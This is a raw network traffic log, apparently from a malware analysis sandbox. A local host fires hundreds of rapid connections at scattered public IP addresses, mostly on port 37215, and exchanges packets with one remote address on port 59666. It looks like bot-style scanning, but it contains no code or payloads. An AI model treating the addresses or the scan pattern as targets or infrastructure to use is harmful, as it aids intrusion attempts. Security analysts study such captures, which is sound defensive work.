Oct 14, 2024 17:30:06.899836063 CEST	54042	443	192.168.2.14	123.37.125.104
Oct 14, 2024 17:30:06.899843931 CEST	54042	443	192.168.2.14	148.96.122.63
Oct 14, 2024 17:30:06.899858952 CEST	54042	443	192.168.2.14	148.10.194.35
Oct 14, 2024 17:30:06.899876118 CEST	54042	443	192.168.2.14	118.234.43.17
Oct 14, 2024 17:30:06.899880886 CEST	54042	443	192.168.2.14	118.0.253.115
Oct 14, 2024 17:30:06.899882078 CEST	54042	443	192.168.2.14	42.29.231.95
Oct 14, 2024 17:30:06.899909973 CEST	54042	443	192.168.2.14	5.44.20.79
Oct 14, 2024 17:30:06.947403908 CEST	45384	59666	192.168.2.14	92.249.48.84
Oct 14, 2024 17:30:06.952179909 CEST	59666	45384	92.249.48.84	192.168.2.14
Oct 14, 2024 17:30:06.952284098 CEST	45384	59666	192.168.2.14	92.249.48.84
Oct 14, 2024 17:30:06.952332020 CEST	45384	59666	192.168.2.14	92.249.48.84
Oct 14, 2024 17:30:06.957132101 CEST	59666	45384	92.249.48.84	192.168.2.14
Oct 14, 2024 17:30:06.957220078 CEST	45384	59666	192.168.2.14	92.249.48.84
Oct 14, 2024 17:30:06.962016106 CEST	59666	45384	92.249.48.84	192.168.2.14
Oct 14, 2024 17:30:07.881917000 CEST	53786	37215	192.168.2.14	156.98.87.206
Oct 14, 2024 17:30:07.881917000 CEST	53786	37215	192.168.2.14	156.116.241.186
Oct 14, 2024 17:30:07.881927967 CEST	53786	37215	192.168.2.14	156.144.213.217
Oct 14, 2024 17:30:07.881948948 CEST	53786	37215	192.168.2.14	197.65.125.173
Oct 14, 2024 17:30:07.881948948 CEST	53786	37215	192.168.2.14	197.207.149.21
Oct 14, 2024 17:30:07.881948948 CEST	53786	37215	192.168.2.14	41.100.104.48
Oct 14, 2024 17:30:07.881951094 CEST	53786	37215	192.168.2.14	197.38.3.102
Oct 14, 2024 17:30:07.881951094 CEST	53786	37215	192.168.2.14	41.17.99.253
Oct 14, 2024 17:30:07.881969929 CEST	53786	37215	192.168.2.14	156.55.122.15
Oct 14, 2024 17:30:07.881969929 CEST	53786	37215	192.168.2.14	197.145.170.161
Oct 14, 2024 17:30:07.881969929 CEST	53786	37215	192.168.2.14	41.3.20.172
Oct 14, 2024 17:30:07.881973982 CEST	53786	37215	192.168.2.14	156.206.129.117
Oct 14, 2024 17:30:07.881973982 CEST	53786	37215	192.168.2.14	41.77.118.82
Oct 14, 2024 17:30:07.881973982 CEST	53786	37215	192.168.2.14	41.222.150.142
Oct 14, 2024 17:30:07.881975889 CEST	53786	37215	192.168.2.14	41.118.159.230
Oct 14, 2024 17:30:07.881975889 CEST	53786	37215	192.168.2.14	41.4.105.219
Oct 14, 2024 17:30:07.881975889 CEST	53786	37215	192.168.2.14	156.45.182.155
Oct 14, 2024 17:30:07.881988049 CEST	53786	37215	192.168.2.14	156.24.176.46
Oct 14, 2024 17:30:07.881988049 CEST	53786	37215	192.168.2.14	197.103.154.219
Oct 14, 2024 17:30:07.881988049 CEST	53786	37215	192.168.2.14	197.134.89.254
Oct 14, 2024 17:30:07.881988049 CEST	53786	37215	192.168.2.14	41.127.3.18
Oct 14, 2024 17:30:07.881988049 CEST	53786	37215	192.168.2.14	156.242.83.56
Oct 14, 2024 17:30:07.881988049 CEST	53786	37215	192.168.2.14	41.242.66.44
Oct 14, 2024 17:30:07.881988049 CEST	53786	37215	192.168.2.14	156.197.122.71
Oct 14, 2024 17:30:07.881994009 CEST	53786	37215	192.168.2.14	197.0.236.115
Oct 14, 2024 17:30:07.881975889 CEST	53786	37215	192.168.2.14	197.12.183.110
Oct 14, 2024 17:30:07.881994009 CEST	53786	37215	192.168.2.14	197.127.23.194
Oct 14, 2024 17:30:07.881994009 CEST	53786	37215	192.168.2.14	41.108.88.194
Oct 14, 2024 17:30:07.881994009 CEST	53786	37215	192.168.2.14	156.191.36.59
Oct 14, 2024 17:30:07.881999969 CEST	53786	37215	192.168.2.14	197.47.106.138
Oct 14, 2024 17:30:07.881999969 CEST	53786	37215	192.168.2.14	41.105.134.5
Oct 14, 2024 17:30:07.882005930 CEST	53786	37215	192.168.2.14	197.164.218.17
Oct 14, 2024 17:30:07.882005930 CEST	53786	37215	192.168.2.14	41.84.189.6
Oct 14, 2024 17:30:07.882020950 CEST	53786	37215	192.168.2.14	41.213.26.221
Oct 14, 2024 17:30:07.882020950 CEST	53786	37215	192.168.2.14	41.55.68.150
Oct 14, 2024 17:30:07.882020950 CEST	53786	37215	192.168.2.14	41.20.106.78
Oct 14, 2024 17:30:07.882020950 CEST	53786	37215	192.168.2.14	41.198.207.170
Oct 14, 2024 17:30:07.882030964 CEST	53786	37215	192.168.2.14	41.58.231.47
Oct 14, 2024 17:30:07.882031918 CEST	53786	37215	192.168.2.14	41.192.225.32
Oct 14, 2024 17:30:07.882031918 CEST	53786	37215	192.168.2.14	197.252.168.241
Oct 14, 2024 17:30:07.882031918 CEST	53786	37215	192.168.2.14	197.0.45.87
Oct 14, 2024 17:30:07.882033110 CEST	53786	37215	192.168.2.14	156.31.136.219
Oct 14, 2024 17:30:07.882033110 CEST	53786	37215	192.168.2.14	41.169.11.163
Oct 14, 2024 17:30:07.882042885 CEST	53786	37215	192.168.2.14	41.200.182.175
Oct 14, 2024 17:30:07.882042885 CEST	53786	37215	192.168.2.14	156.51.110.104
Oct 14, 2024 17:30:07.882042885 CEST	53786	37215	192.168.2.14	156.231.201.110
Oct 14, 2024 17:30:07.882050991 CEST	53786	37215	192.168.2.14	197.208.230.87
Oct 14, 2024 17:30:07.882061958 CEST	53786	37215	192.168.2.14	156.226.104.51
Oct 14, 2024 17:30:07.882069111 CEST	53786	37215	192.168.2.14	197.20.135.118
Oct 14, 2024 17:30:07.882069111 CEST	53786	37215	192.168.2.14	197.198.105.178
Oct 14, 2024 17:30:07.882071972 CEST	53786	37215	192.168.2.14	41.240.211.200
Oct 14, 2024 17:30:07.882081032 CEST	53786	37215	192.168.2.14	41.255.30.177
Oct 14, 2024 17:30:07.882088900 CEST	53786	37215	192.168.2.14	41.77.212.154
Oct 14, 2024 17:30:07.882088900 CEST	53786	37215	192.168.2.14	156.165.27.220
Oct 14, 2024 17:30:07.882092953 CEST	53786	37215	192.168.2.14	156.198.69.109
Oct 14, 2024 17:30:07.882103920 CEST	53786	37215	192.168.2.14	197.231.115.97
Oct 14, 2024 17:30:07.882110119 CEST	53786	37215	192.168.2.14	41.100.118.62
Oct 14, 2024 17:30:07.882123947 CEST	53786	37215	192.168.2.14	197.166.18.97
Oct 14, 2024 17:30:07.882141113 CEST	53786	37215	192.168.2.14	197.197.28.134
Oct 14, 2024 17:30:07.882141113 CEST	53786	37215	192.168.2.14	197.21.38.27
Oct 14, 2024 17:30:07.882143021 CEST	53786	37215	192.168.2.14	41.204.39.117
Oct 14, 2024 17:30:07.882147074 CEST	53786	37215	192.168.2.14	197.206.233.175
Oct 14, 2024 17:30:07.882163048 CEST	53786	37215	192.168.2.14	197.134.172.230
Oct 14, 2024 17:30:07.882164001 CEST	53786	37215	192.168.2.14	197.79.102.173
Oct 14, 2024 17:30:07.882173061 CEST	53786	37215	192.168.2.14	41.105.168.104
Oct 14, 2024 17:30:07.882175922 CEST	53786	37215	192.168.2.14	197.116.5.11
Oct 14, 2024 17:30:07.882175922 CEST	53786	37215	192.168.2.14	41.253.105.9
Oct 14, 2024 17:30:07.882206917 CEST	53786	37215	192.168.2.14	197.230.99.181
Oct 14, 2024 17:30:07.882206917 CEST	53786	37215	192.168.2.14	197.232.27.72
Oct 14, 2024 17:30:07.882206917 CEST	53786	37215	192.168.2.14	156.130.109.31
Oct 14, 2024 17:30:07.882206917 CEST	53786	37215	192.168.2.14	156.181.146.159
Oct 14, 2024 17:30:07.882224083 CEST	53786	37215	192.168.2.14	197.122.101.107
Oct 14, 2024 17:30:07.882241011 CEST	53786	37215	192.168.2.14	41.121.101.198
Oct 14, 2024 17:30:07.882241011 CEST	53786	37215	192.168.2.14	156.187.237.227
Oct 14, 2024 17:30:07.882253885 CEST	53786	37215	192.168.2.14	197.202.250.81
Oct 14, 2024 17:30:07.882253885 CEST	53786	37215	192.168.2.14	197.36.11.5
Oct 14, 2024 17:30:07.882253885 CEST	53786	37215	192.168.2.14	156.52.254.226
Oct 14, 2024 17:30:07.882256985 CEST	53786	37215	192.168.2.14	41.130.61.238
Oct 14, 2024 17:30:07.882260084 CEST	53786	37215	192.168.2.14	197.85.184.209
Oct 14, 2024 17:30:07.882260084 CEST	53786	37215	192.168.2.14	156.70.69.38
Oct 14, 2024 17:30:07.882265091 CEST	53786	37215	192.168.2.14	197.107.86.175
Oct 14, 2024 17:30:07.882283926 CEST	53786	37215	192.168.2.14	156.233.71.157
Oct 14, 2024 17:30:07.882283926 CEST	53786	37215	192.168.2.14	197.171.223.206
Oct 14, 2024 17:30:07.882287979 CEST	53786	37215	192.168.2.14	41.177.64.227
Oct 14, 2024 17:30:07.882294893 CEST	53786	37215	192.168.2.14	156.69.169.167
Oct 14, 2024 17:30:07.882301092 CEST	53786	37215	192.168.2.14	156.95.227.106
Oct 14, 2024 17:30:07.882302046 CEST	53786	37215	192.168.2.14	156.128.212.250
Oct 14, 2024 17:30:07.882302046 CEST	53786	37215	192.168.2.14	156.231.137.251
Oct 14, 2024 17:30:07.882307053 CEST	53786	37215	192.168.2.14	197.83.176.191
Oct 14, 2024 17:30:07.882307053 CEST	53786	37215	192.168.2.14	41.183.199.175
Oct 14, 2024 17:30:07.882333994 CEST	53786	37215	192.168.2.14	197.72.42.249
Oct 14, 2024 17:30:07.882333994 CEST	53786	37215	192.168.2.14	41.52.25.164
Oct 14, 2024 17:30:07.882343054 CEST	53786	37215	192.168.2.14	197.105.68.179
Oct 14, 2024 17:30:07.882352114 CEST	53786	37215	192.168.2.14	156.0.169.100
Oct 14, 2024 17:30:07.882358074 CEST	53786	37215	192.168.2.14	156.197.153.229
Oct 14, 2024 17:30:07.882359982 CEST	53786	37215	192.168.2.14	156.174.47.184
Oct 14, 2024 17:30:07.882359982 CEST	53786	37215	192.168.2.14	197.236.127.100
Oct 14, 2024 17:30:07.882366896 CEST	53786	37215	192.168.2.14	156.154.103.182
Oct 14, 2024 17:30:07.882376909 CEST	53786	37215	192.168.2.14	156.87.187.247
Oct 14, 2024 17:30:07.882383108 CEST	53786	37215	192.168.2.14	41.161.201.97
Oct 14, 2024 17:30:07.882385969 CEST	53786	37215	192.168.2.14	41.124.141.206
Oct 14, 2024 17:30:07.882401943 CEST	53786	37215	192.168.2.14	41.136.140.9
Oct 14, 2024 17:30:07.882402897 CEST	53786	37215	192.168.2.14	156.135.79.209
Oct 14, 2024 17:30:07.882402897 CEST	53786	37215	192.168.2.14	156.182.180.156
Oct 14, 2024 17:30:07.882416964 CEST	53786	37215	192.168.2.14	197.56.18.143
Oct 14, 2024 17:30:07.882421017 CEST	53786	37215	192.168.2.14	41.80.18.233
Oct 14, 2024 17:30:07.882421017 CEST	53786	37215	192.168.2.14	197.160.254.57
Oct 14, 2024 17:30:07.882436037 CEST	53786	37215	192.168.2.14	197.68.190.122
Oct 14, 2024 17:30:07.882437944 CEST	53786	37215	192.168.2.14	156.109.177.62
Oct 14, 2024 17:30:07.882446051 CEST	53786	37215	192.168.2.14	41.200.242.80
Oct 14, 2024 17:30:07.882446051 CEST	53786	37215	192.168.2.14	41.202.254.67
Oct 14, 2024 17:30:07.882463932 CEST	53786	37215	192.168.2.14	197.242.203.95
Oct 14, 2024 17:30:07.882463932 CEST	53786	37215	192.168.2.14	156.197.201.243
Oct 14, 2024 17:30:07.882479906 CEST	53786	37215	192.168.2.14	156.43.144.69
Oct 14, 2024 17:30:07.882479906 CEST	53786	37215	192.168.2.14	41.223.111.225
Oct 14, 2024 17:30:07.882483959 CEST	53786	37215	192.168.2.14	197.215.34.233
Oct 14, 2024 17:30:07.882505894 CEST	53786	37215	192.168.2.14	197.198.219.67
Oct 14, 2024 17:30:07.882508039 CEST	53786	37215	192.168.2.14	156.251.246.192
Oct 14, 2024 17:30:07.882507086 CEST	53786	37215	192.168.2.14	197.223.66.106
Oct 14, 2024 17:30:07.882508993 CEST	53786	37215	192.168.2.14	156.161.9.51
Oct 14, 2024 17:30:07.882508039 CEST	53786	37215	192.168.2.14	41.241.120.25
Oct 14, 2024 17:30:07.882508993 CEST	53786	37215	192.168.2.14	156.153.68.178
Oct 14, 2024 17:30:07.882509947 CEST	53786	37215	192.168.2.14	41.17.7.150
Oct 14, 2024 17:30:07.882514954 CEST	53786	37215	192.168.2.14	156.24.186.176
Oct 14, 2024 17:30:07.882514954 CEST	53786	37215	192.168.2.14	156.229.124.10
Oct 14, 2024 17:30:07.882529020 CEST	53786	37215	192.168.2.14	41.145.161.255
Oct 14, 2024 17:30:07.882529020 CEST	53786	37215	192.168.2.14	41.87.0.17
Oct 14, 2024 17:30:07.882546902 CEST	53786	37215	192.168.2.14	197.7.217.193
Oct 14, 2024 17:30:07.882554054 CEST	53786	37215	192.168.2.14	41.101.116.195
Oct 14, 2024 17:30:07.882567883 CEST	53786	37215	192.168.2.14	197.240.162.192
Oct 14, 2024 17:30:07.882571936 CEST	53786	37215	192.168.2.14	41.181.190.131
Oct 14, 2024 17:30:07.882572889 CEST	53786	37215	192.168.2.14	41.8.112.209
Oct 14, 2024 17:30:07.882572889 CEST	53786	37215	192.168.2.14	41.45.22.200
Oct 14, 2024 17:30:07.882589102 CEST	53786	37215	192.168.2.14	156.179.195.80
Oct 14, 2024 17:30:07.882589102 CEST	53786	37215	192.168.2.14	197.75.7.29
Oct 14, 2024 17:30:07.882595062 CEST	53786	37215	192.168.2.14	197.49.237.51
Oct 14, 2024 17:30:07.882595062 CEST	53786	37215	192.168.2.14	41.242.62.133
Oct 14, 2024 17:30:07.882613897 CEST	53786	37215	192.168.2.14	41.126.150.240
Oct 14, 2024 17:30:07.882622004 CEST	53786	37215	192.168.2.14	156.225.15.12
Oct 14, 2024 17:30:07.882622004 CEST	53786	37215	192.168.2.14	156.61.209.3
Oct 14, 2024 17:30:07.882633924 CEST	53786	37215	192.168.2.14	41.22.58.1
Oct 14, 2024 17:30:07.882639885 CEST	53786	37215	192.168.2.14	41.221.47.245
Oct 14, 2024 17:30:07.882651091 CEST	53786	37215	192.168.2.14	41.154.248.177
Oct 14, 2024 17:30:07.882651091 CEST	53786	37215	192.168.2.14	197.251.117.100
Oct 14, 2024 17:30:07.882663965 CEST	53786	37215	192.168.2.14	41.237.143.67
Oct 14, 2024 17:30:07.882672071 CEST	53786	37215	192.168.2.14	41.146.0.114
Oct 14, 2024 17:30:07.882678032 CEST	53786	37215	192.168.2.14	156.171.100.229
Oct 14, 2024 17:30:07.882678032 CEST	53786	37215	192.168.2.14	197.218.244.51
Oct 14, 2024 17:30:07.882678986 CEST	53786	37215	192.168.2.14	41.90.165.131
Oct 14, 2024 17:30:07.882682085 CEST	53786	37215	192.168.2.14	41.202.227.240
Oct 14, 2024 17:30:07.882703066 CEST	53786	37215	192.168.2.14	156.242.146.169
Oct 14, 2024 17:30:07.882705927 CEST	53786	37215	192.168.2.14	156.224.101.212
Oct 14, 2024 17:30:07.882710934 CEST	53786	37215	192.168.2.14	41.11.232.246
Oct 14, 2024 17:30:07.882710934 CEST	53786	37215	192.168.2.14	41.190.137.8
Oct 14, 2024 17:30:07.882724047 CEST	53786	37215	192.168.2.14	156.63.22.31
Oct 14, 2024 17:30:07.882730007 CEST	53786	37215	192.168.2.14	156.137.68.209
Oct 14, 2024 17:30:07.882730007 CEST	53786	37215	192.168.2.14	41.99.149.88
Oct 14, 2024 17:30:07.882731915 CEST	53786	37215	192.168.2.14	197.48.189.145
Oct 14, 2024 17:30:07.882746935 CEST	53786	37215	192.168.2.14	156.231.244.103
Oct 14, 2024 17:30:07.882755041 CEST	53786	37215	192.168.2.14	197.247.3.210
Oct 14, 2024 17:30:07.882762909 CEST	53786	37215	192.168.2.14	197.4.63.119
Oct 14, 2024 17:30:07.882764101 CEST	53786	37215	192.168.2.14	197.118.165.6
Oct 14, 2024 17:30:07.882764101 CEST	53786	37215	192.168.2.14	197.75.139.226
Oct 14, 2024 17:30:07.882766008 CEST	53786	37215	192.168.2.14	41.31.45.15
Oct 14, 2024 17:30:07.882792950 CEST	53786	37215	192.168.2.14	41.212.106.236
Oct 14, 2024 17:30:07.882810116 CEST	53786	37215	192.168.2.14	156.149.6.182
Oct 14, 2024 17:30:07.882810116 CEST	53786	37215	192.168.2.14	41.97.51.122
Oct 14, 2024 17:30:07.882816076 CEST	53786	37215	192.168.2.14	41.144.26.82
Oct 14, 2024 17:30:07.882822990 CEST	53786	37215	192.168.2.14	41.74.34.148
Oct 14, 2024 17:30:07.882822990 CEST	53786	37215	192.168.2.14	156.233.53.44
Oct 14, 2024 17:30:07.882833958 CEST	53786	37215	192.168.2.14	156.161.21.237
Oct 14, 2024 17:30:07.882833958 CEST	53786	37215	192.168.2.14	197.77.122.8
Oct 14, 2024 17:30:07.882838964 CEST	53786	37215	192.168.2.14	156.50.217.167
Oct 14, 2024 17:30:07.882838964 CEST	53786	37215	192.168.2.14	156.189.29.148
Oct 14, 2024 17:30:07.882839918 CEST	53786	37215	192.168.2.14	197.236.224.102
Oct 14, 2024 17:30:07.882839918 CEST	53786	37215	192.168.2.14	41.172.252.196
Oct 14, 2024 17:30:07.882847071 CEST	53786	37215	192.168.2.14	41.118.5.96
Oct 14, 2024 17:30:07.882848978 CEST	53786	37215	192.168.2.14	156.160.242.68
Oct 14, 2024 17:30:07.882855892 CEST	53786	37215	192.168.2.14	156.195.78.105
Oct 14, 2024 17:30:07.882855892 CEST	53786	37215	192.168.2.14	41.166.53.182
Oct 14, 2024 17:30:07.882869005 CEST	53786	37215	192.168.2.14	41.100.189.62
Oct 14, 2024 17:30:07.882869005 CEST	53786	37215	192.168.2.14	156.5.175.222
Oct 14, 2024 17:30:07.882869005 CEST	53786	37215	192.168.2.14	156.234.124.232
Oct 14, 2024 17:30:07.882874012 CEST	53786	37215	192.168.2.14	156.186.163.226
Oct 14, 2024 17:30:07.882875919 CEST	53786	37215	192.168.2.14	156.145.168.101
Oct 14, 2024 17:30:07.882886887 CEST	53786	37215	192.168.2.14	41.139.23.88
Oct 14, 2024 17:30:07.882889032 CEST	53786	37215	192.168.2.14	156.107.58.134
Oct 14, 2024 17:30:07.882890940 CEST	53786	37215	192.168.2.14	156.77.236.238
Oct 14, 2024 17:30:07.882903099 CEST	53786	37215	192.168.2.14	156.40.149.115
Oct 14, 2024 17:30:07.882911921 CEST	53786	37215	192.168.2.14	156.118.234.201
Oct 14, 2024 17:30:07.882920027 CEST	53786	37215	192.168.2.14	156.218.175.75
Oct 14, 2024 17:30:07.882920980 CEST	53786	37215	192.168.2.14	41.87.88.149
Oct 14, 2024 17:30:07.882920980 CEST	53786	37215	192.168.2.14	156.38.10.83
Oct 14, 2024 17:30:07.882926941 CEST	53786	37215	192.168.2.14	41.100.24.222
Oct 14, 2024 17:30:07.882946968 CEST	53786	37215	192.168.2.14	156.61.228.142
Oct 14, 2024 17:30:07.882952929 CEST	53786	37215	192.168.2.14	197.44.198.200
Oct 14, 2024 17:30:07.882956028 CEST	53786	37215	192.168.2.14	197.200.36.243
Oct 14, 2024 17:30:07.882961035 CEST	53786	37215	192.168.2.14	41.41.192.75
Oct 14, 2024 17:30:07.882961035 CEST	53786	37215	192.168.2.14	41.127.250.52
Oct 14, 2024 17:30:07.882968903 CEST	53786	37215	192.168.2.14	41.125.98.242
Oct 14, 2024 17:30:07.882980108 CEST	53786	37215	192.168.2.14	156.245.195.34
Oct 14, 2024 17:30:07.882982016 CEST	53786	37215	192.168.2.14	41.213.111.103
Oct 14, 2024 17:30:07.882982969 CEST	53786	37215	192.168.2.14	41.177.168.167
Oct 14, 2024 17:30:07.882993937 CEST	53786	37215	192.168.2.14	197.218.0.63
Oct 14, 2024 17:30:07.882993937 CEST	53786	37215	192.168.2.14	197.78.93.118
Oct 14, 2024 17:30:07.883006096 CEST	53786	37215	192.168.2.14	156.160.242.161
Oct 14, 2024 17:30:07.883011103 CEST	53786	37215	192.168.2.14	156.49.121.12
Oct 14, 2024 17:30:07.883023024 CEST	53786	37215	192.168.2.14	156.138.45.57
Oct 14, 2024 17:30:07.883025885 CEST	53786	37215	192.168.2.14	156.13.119.4
Oct 14, 2024 17:30:07.883029938 CEST	53786	37215	192.168.2.14	197.123.101.163
Oct 14, 2024 17:30:07.883029938 CEST	53786	37215	192.168.2.14	41.56.187.58
Oct 14, 2024 17:30:07.883039951 CEST	53786	37215	192.168.2.14	156.224.194.227
Oct 14, 2024 17:30:07.883040905 CEST	53786	37215	192.168.2.14	197.7.229.4
Oct 14, 2024 17:30:07.883048058 CEST	53786	37215	192.168.2.14	197.122.133.216
Oct 14, 2024 17:30:07.883059025 CEST	53786	37215	192.168.2.14	41.25.205.104
Oct 14, 2024 17:30:07.883059025 CEST	53786	37215	192.168.2.14	197.123.250.251
Oct 14, 2024 17:30:07.883065939 CEST	53786	37215	192.168.2.14	156.82.85.71
Oct 14, 2024 17:30:07.883065939 CEST	53786	37215	192.168.2.14	156.110.56.69
Oct 14, 2024 17:30:07.883079052 CEST	53786	37215	192.168.2.14	197.196.152.2
Oct 14, 2024 17:30:07.883097887 CEST	53786	37215	192.168.2.14	41.252.9.5
Oct 14, 2024 17:30:07.883101940 CEST	53786	37215	192.168.2.14	41.3.236.58
Oct 14, 2024 17:30:07.883102894 CEST	53786	37215	192.168.2.14	197.58.185.49
Oct 14, 2024 17:30:07.883102894 CEST	53786	37215	192.168.2.14	156.253.207.29
Oct 14, 2024 17:30:07.883104086 CEST	53786	37215	192.168.2.14	197.186.249.27
Oct 14, 2024 17:30:07.883116007 CEST	53786	37215	192.168.2.14	197.139.130.2
Oct 14, 2024 17:30:07.883119106 CEST	53786	37215	192.168.2.14	197.73.43.11
Oct 14, 2024 17:30:07.883131027 CEST	53786	37215	192.168.2.14	41.193.206.192
Oct 14, 2024 17:30:07.883138895 CEST	53786	37215	192.168.2.14	156.51.134.231
Oct 14, 2024 17:30:07.883141041 CEST	53786	37215	192.168.2.14	41.173.100.144
Oct 14, 2024 17:30:07.883157969 CEST	53786	37215	192.168.2.14	197.135.108.197
Oct 14, 2024 17:30:07.883169889 CEST	53786	37215	192.168.2.14	41.87.255.168
Oct 14, 2024 17:30:07.883176088 CEST	53786	37215	192.168.2.14	41.136.156.111
Oct 14, 2024 17:30:07.883179903 CEST	53786	37215	192.168.2.14	41.116.101.163
Oct 14, 2024 17:30:07.883191109 CEST	53786	37215	192.168.2.14	156.149.22.170
Oct 14, 2024 17:30:07.883191109 CEST	53786	37215	192.168.2.14	41.87.141.162
Oct 14, 2024 17:30:07.883196115 CEST	53786	37215	192.168.2.14	156.222.228.70
Oct 14, 2024 17:30:07.883196115 CEST	53786	37215	192.168.2.14	156.151.227.198
Oct 14, 2024 17:30:07.883198977 CEST	53786	37215	192.168.2.14	41.48.61.163
Oct 14, 2024 17:30:07.883208036 CEST	53786	37215	192.168.2.14	156.225.239.37
Oct 14, 2024 17:30:07.883217096 CEST	53786	37215	192.168.2.14	197.209.139.248
Oct 14, 2024 17:30:07.883224010 CEST	53786	37215	192.168.2.14	197.47.193.244
Oct 14, 2024 17:30:07.883233070 CEST	53786	37215	192.168.2.14	197.231.232.80
Oct 14, 2024 17:30:07.883233070 CEST	53786	37215	192.168.2.14	41.27.151.5
Oct 14, 2024 17:30:07.883235931 CEST	53786	37215	192.168.2.14	156.173.201.108
Oct 14, 2024 17:30:07.883239031 CEST	53786	37215	192.168.2.14	197.8.169.169
Oct 14, 2024 17:30:07.883245945 CEST	53786	37215	192.168.2.14	156.63.5.103
Oct 14, 2024 17:30:07.883246899 CEST	53786	37215	192.168.2.14	197.85.230.48
Oct 14, 2024 17:30:07.883249998 CEST	53786	37215	192.168.2.14	197.99.0.111
Oct 14, 2024 17:30:07.883260965 CEST	53786	37215	192.168.2.14	197.139.123.139
Oct 14, 2024 17:30:07.883260965 CEST	53786	37215	192.168.2.14	41.222.185.67
Oct 14, 2024 17:30:07.883265972 CEST	53786	37215	192.168.2.14	156.138.8.60
Oct 14, 2024 17:30:07.883275032 CEST	53786	37215	192.168.2.14	41.204.82.251
Oct 14, 2024 17:30:07.883275032 CEST	53786	37215	192.168.2.14	197.206.61.117
Oct 14, 2024 17:30:07.883289099 CEST	53786	37215	192.168.2.14	156.139.236.100
Oct 14, 2024 17:30:07.883290052 CEST	53786	37215	192.168.2.14	41.200.50.247
Oct 14, 2024 17:30:07.883295059 CEST	53786	37215	192.168.2.14	197.31.23.226
Oct 14, 2024 17:30:07.883304119 CEST	53786	37215	192.168.2.14	156.188.218.104
Oct 14, 2024 17:30:07.883307934 CEST	53786	37215	192.168.2.14	41.179.102.64
Oct 14, 2024 17:30:07.883318901 CEST	53786	37215	192.168.2.14	41.75.15.214
Oct 14, 2024 17:30:07.883326054 CEST	53786	37215	192.168.2.14	41.133.20.56
Oct 14, 2024 17:30:07.883342981 CEST	53786	37215	192.168.2.14	197.99.148.22
Oct 14, 2024 17:30:07.883343935 CEST	53786	37215	192.168.2.14	156.250.182.220
Oct 14, 2024 17:30:07.883343935 CEST	53786	37215	192.168.2.14	197.187.107.184
Oct 14, 2024 17:30:07.883353949 CEST	53786	37215	192.168.2.14	156.198.20.15
Oct 14, 2024 17:30:07.883359909 CEST	53786	37215	192.168.2.14	156.195.232.78
Oct 14, 2024 17:30:07.883371115 CEST	53786	37215	192.168.2.14	156.128.106.204
Oct 14, 2024 17:30:07.883371115 CEST	53786	37215	192.168.2.14	156.133.246.62
Oct 14, 2024 17:30:07.883373022 CEST	53786	37215	192.168.2.14	197.84.144.21
Oct 14, 2024 17:30:07.883399963 CEST	53786	37215	192.168.2.14	197.63.49.98
Oct 14, 2024 17:30:07.883399963 CEST	53786	37215	192.168.2.14	41.94.121.121
Oct 14, 2024 17:30:07.883404970 CEST	53786	37215	192.168.2.14	156.30.29.98
Oct 14, 2024 17:30:07.883410931 CEST	53786	37215	192.168.2.14	41.123.191.249
Oct 14, 2024 17:30:07.883410931 CEST	53786	37215	192.168.2.14	156.37.95.212
Oct 14, 2024 17:30:07.883415937 CEST	53786	37215	192.168.2.14	197.152.114.47
Oct 14, 2024 17:30:07.883418083 CEST	53786	37215	192.168.2.14	156.142.38.222
Oct 14, 2024 17:30:07.883419991 CEST	53786	37215	192.168.2.14	41.130.60.23
Oct 14, 2024 17:30:07.883420944 CEST	53786	37215	192.168.2.14	197.148.104.247
Oct 14, 2024 17:30:07.883421898 CEST	53786	37215	192.168.2.14	156.206.112.85
Oct 14, 2024 17:30:07.883424997 CEST	53786	37215	192.168.2.14	197.209.163.30
Oct 14, 2024 17:30:07.883428097 CEST	53786	37215	192.168.2.14	197.254.18.105
Oct 14, 2024 17:30:07.883436918 CEST	53786	37215	192.168.2.14	156.244.121.20
Oct 14, 2024 17:30:07.883438110 CEST	53786	37215	192.168.2.14	197.163.241.91
Oct 14, 2024 17:30:07.883443117 CEST	53786	37215	192.168.2.14	197.201.35.28
Oct 14, 2024 17:30:07.883454084 CEST	53786	37215	192.168.2.14	197.133.108.93
Oct 14, 2024 17:30:07.883456945 CEST	53786	37215	192.168.2.14	197.32.91.227
Oct 14, 2024 17:30:07.883457899 CEST	53786	37215	192.168.2.14	41.119.96.208
Oct 14, 2024 17:30:07.883466959 CEST	53786	37215	192.168.2.14	197.76.204.246
Oct 14, 2024 17:30:07.883482933 CEST	53786	37215	192.168.2.14	197.115.110.243
Oct 14, 2024 17:30:07.883485079 CEST	53786	37215	192.168.2.14	197.61.176.52
Oct 14, 2024 17:30:07.883485079 CEST	53786	37215	192.168.2.14	197.87.72.71
Oct 14, 2024 17:30:07.883485079 CEST	53786	37215	192.168.2.14	197.71.77.214
Oct 14, 2024 17:30:07.883485079 CEST	53786	37215	192.168.2.14	41.146.24.121
Oct 14, 2024 17:30:07.883486032 CEST	53786	37215	192.168.2.14	156.229.82.51
Oct 14, 2024 17:30:07.883492947 CEST	53786	37215	192.168.2.14	156.184.23.202
Oct 14, 2024 17:30:07.883496046 CEST	53786	37215	192.168.2.14	41.162.170.188
Oct 14, 2024 17:30:07.883497953 CEST	53786	37215	192.168.2.14	197.182.100.103
Oct 14, 2024 17:30:07.883502960 CEST	53786	37215	192.168.2.14	41.149.145.96
Oct 14, 2024 17:30:07.883517027 CEST	53786	37215	192.168.2.14	41.168.209.28
Oct 14, 2024 17:30:07.883517027 CEST	53786	37215	192.168.2.14	41.119.26.24
Oct 14, 2024 17:30:07.883531094 CEST	53786	37215	192.168.2.14	197.154.148.110
Oct 14, 2024 17:30:07.883547068 CEST	53786	37215	192.168.2.14	197.209.190.27
Oct 14, 2024 17:30:07.883553028 CEST	53786	37215	192.168.2.14	156.172.199.58
Oct 14, 2024 17:30:07.883555889 CEST	53786	37215	192.168.2.14	41.69.95.162
Oct 14, 2024 17:30:07.883555889 CEST	53786	37215	192.168.2.14	197.29.144.178
Oct 14, 2024 17:30:07.883555889 CEST	53786	37215	192.168.2.14	197.109.49.48
Oct 14, 2024 17:30:07.883564949 CEST	53786	37215	192.168.2.14	156.110.127.126
Oct 14, 2024 17:30:07.883564949 CEST	53786	37215	192.168.2.14	41.44.177.26
Oct 14, 2024 17:30:07.883567095 CEST	53786	37215	192.168.2.14	41.191.48.102
Oct 14, 2024 17:30:07.883579016 CEST	53786	37215	192.168.2.14	156.37.215.113
Oct 14, 2024 17:30:07.883579016 CEST	53786	37215	192.168.2.14	41.18.244.55
Oct 14, 2024 17:30:07.883580923 CEST	53786	37215	192.168.2.14	41.15.161.243
Oct 14, 2024 17:30:07.883584023 CEST	53786	37215	192.168.2.14	41.93.165.133
